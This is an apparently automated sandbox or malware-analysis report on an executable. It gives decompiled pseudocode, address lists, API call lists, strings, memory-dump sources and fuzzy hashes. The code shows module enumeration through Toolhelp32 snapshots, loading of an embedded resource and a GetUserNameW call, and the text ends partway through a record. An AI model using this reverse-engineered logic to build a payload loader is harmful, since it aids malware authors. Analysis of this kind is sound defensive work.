							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32 ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000008,00000000), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000008), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

W, xrefs: 00401B23
D, xrefs: 00401DFB
., xrefs: 0040201F
V, xrefs: 00402038
W, xrefs: 00401B14
4, xrefs: 00402074
v, xrefs: 0040212C
v, xrefs: 00401B5A
W, xrefs: 00402033
!, xrefs: 004020CF
%, xrefs: 004020FA
{, xrefs: 00401E3C
x, xrefs: 00402088
*, xrefs: 00401A1F
{, xrefs: 0040211D
5, xrefs: 00402109
o, xrefs: 00402159
6, xrefs: 004020C5
U, xrefs: 004020F5
{, xrefs: 0040205B
h, xrefs: 00401A6F
4, xrefs: 00401B64
x, xrefs: 0040214A
x, xrefs: 00401B78
[, xrefs: 00401B37
_._, xrefs: 00402257
0, xrefs: 00401BBD
', xrefs: 00401AF6
., xrefs: 00401B0A
:, xrefs: 00401B28
v, xrefs: 0040206A
", xrefs: 00401B0F
x, xrefs: 00401E69
[, xrefs: 00402047
), xrefs: 0040202E
8, xrefs: 00401BA9
', xrefs: 00402006
W, xrefs: 004020E6
o, xrefs: 00402097
o, xrefs: 00401B8D
___, xrefs: 0040227D
4, xrefs: 00402136
*, xrefs: 004020E1
v, xrefs: 00401E4B
!, xrefs: 0040201A
E, xrefs: 00401E0F
V, xrefs: 00401E19
!, xrefs: 00401B1E
{, xrefs: 00401B4B

Memory Dump Source

Source File: 0000000B.00000002.915498748.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.915533026.0000000000426000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.915550260.000000000045C000.00000040.00000001.sdmp Download File

Similarity

API ID: Resource$Module32$CloseFindHandleNextSizeof$ChangeCreateCurrentFirstInitializeLoadLockModuleNotificationProcessSnapshotToolhelp32_getenv_malloc_memset
String ID: !$!$!$"$%$'$'$)$*$*$.$.$0$4$4$4$5$6$8$:$D$E$U$V$V$W$W$W$W$[$[$_._$___$h$o$o$o$v$v$v$v$x$x$x$x${${${${
API String ID: 2366190142-2962942730
Opcode ID: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction ID: 7b7814addfdf4b3cbdaef5ede101091f5fb3e94df766619d88950efa0d528cfd
Opcode Fuzzy Hash: d0a656ef22f929bc6f1ae9c8f6a3c9921df1d352ff09963eac3f83f05ace134f
Instruction Fuzzy Hash: B3628C2100C7C19EC321DB388888A5FBFE55FA6328F484A5DF1E55B2E2C7799509C76B

Uniqueness

Uniqueness Score: -1.00%

Function 05BB4744, Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 05BB7043

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1d85052b56bfa5d9badf070e937d4885cd4fd7b24528176f9363a08a632689ff
Instruction ID: 92b238a78f3dada0e53097326859e111cb5be2c1f36cf703b3a249ea774ef8b0
Opcode Fuzzy Hash: 1d85052b56bfa5d9badf070e937d4885cd4fd7b24528176f9363a08a632689ff
Instruction Fuzzy Hash: A5510670D002188FEB14CFA9C884BEDBBB1FF48314F55815AE815BB391DBB4A844CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05BB4950, Relevance: 1.6, Strings: 1, Instructions: 338COMMON

Download Yara Rule

Strings

<8l, xrefs: 05BB4B9D

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID:
String ID: <8l
API String ID: 0-4288478558
Opcode ID: 5d07aba6c63f875b520d475ee4006e89491016205076de36d438b48524fe8b17
Instruction ID: c17b2a020b851267caf714da36371e790a524d0681d94d77ab40d95d7fd1a5f9
Opcode Fuzzy Hash: 5d07aba6c63f875b520d475ee4006e89491016205076de36d438b48524fe8b17
Instruction Fuzzy Hash: 0FD15A70E002198FDF14DFA8C484AEEBBF2FF48314F15855AE915AB351DBB4A946CB90

Uniqueness

Uniqueness Score: -1.00%

Function 023EF758, Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

Id, xrefs: 023EFA01

Memory Dump Source

Source File: 0000000B.00000002.916562795.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID: Id
API String ID: 0-2404763025
Opcode ID: b005ee53d2351d5eb70e64695c6bc87abfeb38e532a060f6fb0befd74b640e02
Instruction ID: b2995e17cb71313a26cb88ae1dedad1c5bfb122b73c159b27494535ac9e044c9
Opcode Fuzzy Hash: b005ee53d2351d5eb70e64695c6bc87abfeb38e532a060f6fb0befd74b640e02
Instruction Fuzzy Hash: 7CB18A70A047198FCB14EF79C49466EBBF2FF88204B008929D846DBB95DB74E909CF91

Uniqueness

Uniqueness Score: -1.00%

Function 023E3D93, Relevance: 1.0, Instructions: 964COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.916562795.00000000023E0000.00000040.00000001.sdmp, Offset: 023E0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140590911c85d18dff789383d74b13dbf43893b5f8f079ac8d2a91cbb8ce8ccd
Instruction ID: de709b0a5c63f9439872ed7fbfb17bc39b588f68b135f8da90d309d2f3f9382a
Opcode Fuzzy Hash: 140590911c85d18dff789383d74b13dbf43893b5f8f079ac8d2a91cbb8ce8ccd
Instruction Fuzzy Hash: B082AF52A4D2D29FDB630B7858B62E6BFF1DDA312835D05DECCC24A483E50698AFC744

Uniqueness

Uniqueness Score: -1.00%

Function 05BB2A38, Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27fe167b3a3899b146d6ee68c8202ae8a518c2813f7b6b56f2cad7a6fcc76533
Instruction ID: 74dbc003112c8b094b1080b9143543441ff25de4a5f80a2bcd2c6e361a67df23
Opcode Fuzzy Hash: 27fe167b3a3899b146d6ee68c8202ae8a518c2813f7b6b56f2cad7a6fcc76533
Instruction Fuzzy Hash: 0BB11874E006098FEB24CFA9C8857EDFBF2BF48714F148569D815AB254DBF4A845CB81

Uniqueness

Uniqueness Score: -1.00%

Function 05BB1E20, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b64d9678c56615a356dee95d09785af882f54939e334da559feb29e34bfef93
Instruction ID: 71f5b8790a422965f4319ae44e8a35ebec0886648f8340687ef236bb3ec37704
Opcode Fuzzy Hash: 3b64d9678c56615a356dee95d09785af882f54939e334da559feb29e34bfef93
Instruction Fuzzy Hash: D8913970E046099FEB10CFA9C8957EEBBF2FF88314F148169E815A7254DBF4A845CB91

Uniqueness

Uniqueness Score: -1.00%

Function 004018F0, Relevance: 6.3, APIs: 5, Instructions: 77
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E004018F0(void* __eax, char** __ecx, void* __edx, char* _a4, int _a8) {
				void* __ebx;
				void* __ebp;
				signed int _t12;
				void* _t21;
				int _t25;
				void* _t30;
				int _t32;
				char* _t35;

				_t21 = __edx;
				_t35 = _a4;
				_t17 = __ecx;
				if(_t35 != 0) {
					_t25 = lstrlenA(_t35) + 1;
					E004017E0(_t17, _t21, _t35, _t17, _t25,  &(_t17[1]), 0x80);
					_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t25); // executed
					asm("sbb esi, esi");
					_t30 =  ~_t12 + 1;
					if(_t30 != 0) {
						_t12 = GetLastError();
						if(_t12 == 0x7a) {
							_t32 = MultiByteToWideChar(_a8, 0, _t35, _t25, 0, 0);
							E004017E0(_t17, _a8, _t35, _t17, _t32,  &(_t17[1]), 0x80);
							_t12 = MultiByteToWideChar(_a8, 0, _t35, _t25,  *_t17, _t32);
							asm("sbb esi, esi");
							_t30 =  ~_t12 + 1;
						}
						if(_t30 != 0) {
							_t12 = E00401030();
						}
					}
					return _t12;
				} else {
					 *__ecx = _t35;
					return __eax;
				}
			}

0x004018f0
0x004018f2
0x004018f6
0x004018fa
0x00401917
0x0040191a
0x0040192f
0x00401939
0x0040193b
0x0040193e
0x00401940
0x00401949
0x0040195e
0x0040196b
0x00401980
0x0040198a
0x0040198c
0x0040198c
0x0040198f
0x00401991
0x00401991
0x0040198f
0x0040199a
0x004018fc
0x004018fc
0x00401900
0x00401900

APIs

lstrlenA.KERNEL32(?), ref: 00401906
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 0040192F
GetLastError.KERNEL32 ref: 00401940
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401958
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 00401980

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 001f8acd6346668203df0e37acbb0982e2c141f20d3592a2a78c171e7710dcce
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 4011C4756003247BD3309B15CC88F677F6CEB86BA9F008169FD85AB291C635AC04C6F8

Uniqueness

Uniqueness Score: -1.00%

Function 04A7247B, Relevance: 6.1, APIs: 4, Instructions: 126threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 04A724E8
GetCurrentThread.KERNEL32 ref: 04A72525
GetCurrentProcess.KERNEL32 ref: 04A72562
GetCurrentThreadId.KERNEL32 ref: 04A725BB

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a40c7c19bd7129f6a509f5dfbcd027dbe933725a02a857acdaedda44a0f08e26
Instruction ID: 3b5a37511a2d41d4f8ab7c06f217b35a02fc2f756e693ae101310cbfa189d68a
Opcode Fuzzy Hash: a40c7c19bd7129f6a509f5dfbcd027dbe933725a02a857acdaedda44a0f08e26
Instruction Fuzzy Hash: 685158B4D002488FDB15CFA9D5887DEBBF1FF48304F248469E409A7251D734A945CF66

Uniqueness

Uniqueness Score: -1.00%

Function 04A72488, Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 04A724E8
GetCurrentThread.KERNEL32 ref: 04A72525
GetCurrentProcess.KERNEL32 ref: 04A72562
GetCurrentThreadId.KERNEL32 ref: 04A725BB

Memory Dump Source

Source File: 0000000B.00000002.919502729.0000000004A70000.00000040.00000001.sdmp, Offset: 04A70000, based on PE: false

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 42d0cc8e18e0fe1bf48065491517abb22e708ec345877542e398176359ab5136
Instruction ID: a86808002793779e5a072d60c71a48fc80ae3588273d04db2b1b3271200c8dc8
Opcode Fuzzy Hash: 42d0cc8e18e0fe1bf48065491517abb22e708ec345877542e398176359ab5136
Instruction Fuzzy Hash: 625134B49002488FDB24CFA9D988BDEBBF1AB48314F248569E409A7250D778A944CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040AF66, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E0040AF66(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4) {
				signed int _v4;
				signed int _v16;
				signed int _v40;
				void* _t14;
				signed int _t15;
				intOrPtr* _t21;
				signed int _t24;
				void* _t28;
				void* _t39;
				void* _t40;
				signed int _t42;
				void* _t45;
				void* _t47;
				void* _t51;

				_t40 = __edi;
				_t28 = __ebx;
				_t45 = _t51;
				while(1) {
					_t14 = E0040B84D(_t28, _t39, _t40, _a4); // executed
					if(_t14 != 0) {
						break;
					}
					_t15 = E0040D2E3(_a4);
					__eflags = _t15;
					if(_t15 == 0) {
						__eflags =  *0x423490 & 0x00000001;
						if(( *0x423490 & 0x00000001) == 0) {
							 *0x423490 =  *0x423490 | 0x00000001;
							__eflags =  *0x423490;
							E0040AEFC(0x423484);
							E0040D2BD( *0x423490, 0x41a704);
						}
						E0040AF49( &_v16, 0x423484);
						E0040CD39( &_v16, 0x420fa4);
						asm("int3");
						_t47 = _t45;
						_push(_t47);
						_push(0xc);
						_push(0x420ff8);
						_t19 = E0040E1D8(_t28, _t40, 0x423484);
						_t42 = _v4;
						__eflags = _t42;
						if(_t42 != 0) {
							__eflags =  *0x4250b0 - 3;
							if( *0x4250b0 != 3) {
								_push(_t42);
								goto L16;
							} else {
								E0040D6E0(_t28, 4);
								_v16 = _v16 & 0x00000000;
								_t24 = E0040D713(_t42);
								_v40 = _t24;
								__eflags = _t24;
								if(_t24 != 0) {
									_push(_t42);
									_push(_t24);
									E0040D743();
								}
								_v16 = 0xfffffffe;
								_t19 = E0040B70B();
								__eflags = _v40;
								if(_v40 == 0) {
									_push(_v4);
									L16:
									__eflags = HeapFree( *0x4234b4, 0, ??);
									if(__eflags == 0) {
										_t21 = E0040BFC1(__eflags);
										 *_t21 = E0040BF7F(GetLastError());
									}
								}
							}
						}
						return E0040E21D(_t19);
					} else {
						continue;
					}
					L19:
				}
				return _t14;
				goto L19;
			}

0x0040af66
0x0040af66
0x0040af69
0x0040af7d
0x0040af80
0x0040af88
0x00000000
0x00000000
0x0040af73
0x0040af79
0x0040af7b
0x0040af8c
0x0040af98
0x0040af9a
0x0040af9a
0x0040afa3
0x0040afad
0x0040afb2
0x0040afb7
0x0040afc5
0x0040afca
0x0040afd0
0x0040aec2
0x0040b6b5
0x0040b6b7
0x0040b6bc
0x0040b6c1
0x0040b6c4
0x0040b6c6
0x0040b6c8
0x0040b6cf
0x0040b714
0x00000000
0x0040b6d1
0x0040b6d3
0x0040b6d9
0x0040b6de
0x0040b6e4
0x0040b6e7
0x0040b6e9
0x0040b6eb
0x0040b6ec
0x0040b6ed
0x0040b6f3
0x0040b6f4
0x0040b6fb
0x0040b700
0x0040b704
0x0040b706
0x0040b715
0x0040b723
0x0040b725
0x0040b727
0x0040b73a
0x0040b73c
0x0040b725
0x0040b704
0x0040b6cf
0x0040b742
0x00000000
0x00000000
0x00000000
0x00000000
0x0040af7b
0x0040af8b
0x00000000

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000B.00000001.765273989.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000001.765309710.0000000000426000.00000040.00020000.sdmp Download File

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Uniqueness

Uniqueness Score: -1.00%

Function 05BB4738, Relevance: 1.6, APIs: 1, Instructions: 139COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,00000000), ref: 05BB7043

Memory Dump Source

Source File: 0000000B.00000002.920095463.0000000005BB0000.00000040.00000001.sdmp, Offset: 05BB0000, based on PE: false

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 1190dc66188153b489103a0274a88a1b845ef456a64c133579c5924f79484bec
Instruction ID: 16e5f6b2076d6a35af69c8266a8a61f6a4cdbe4876af8f785bc529965b67ca35
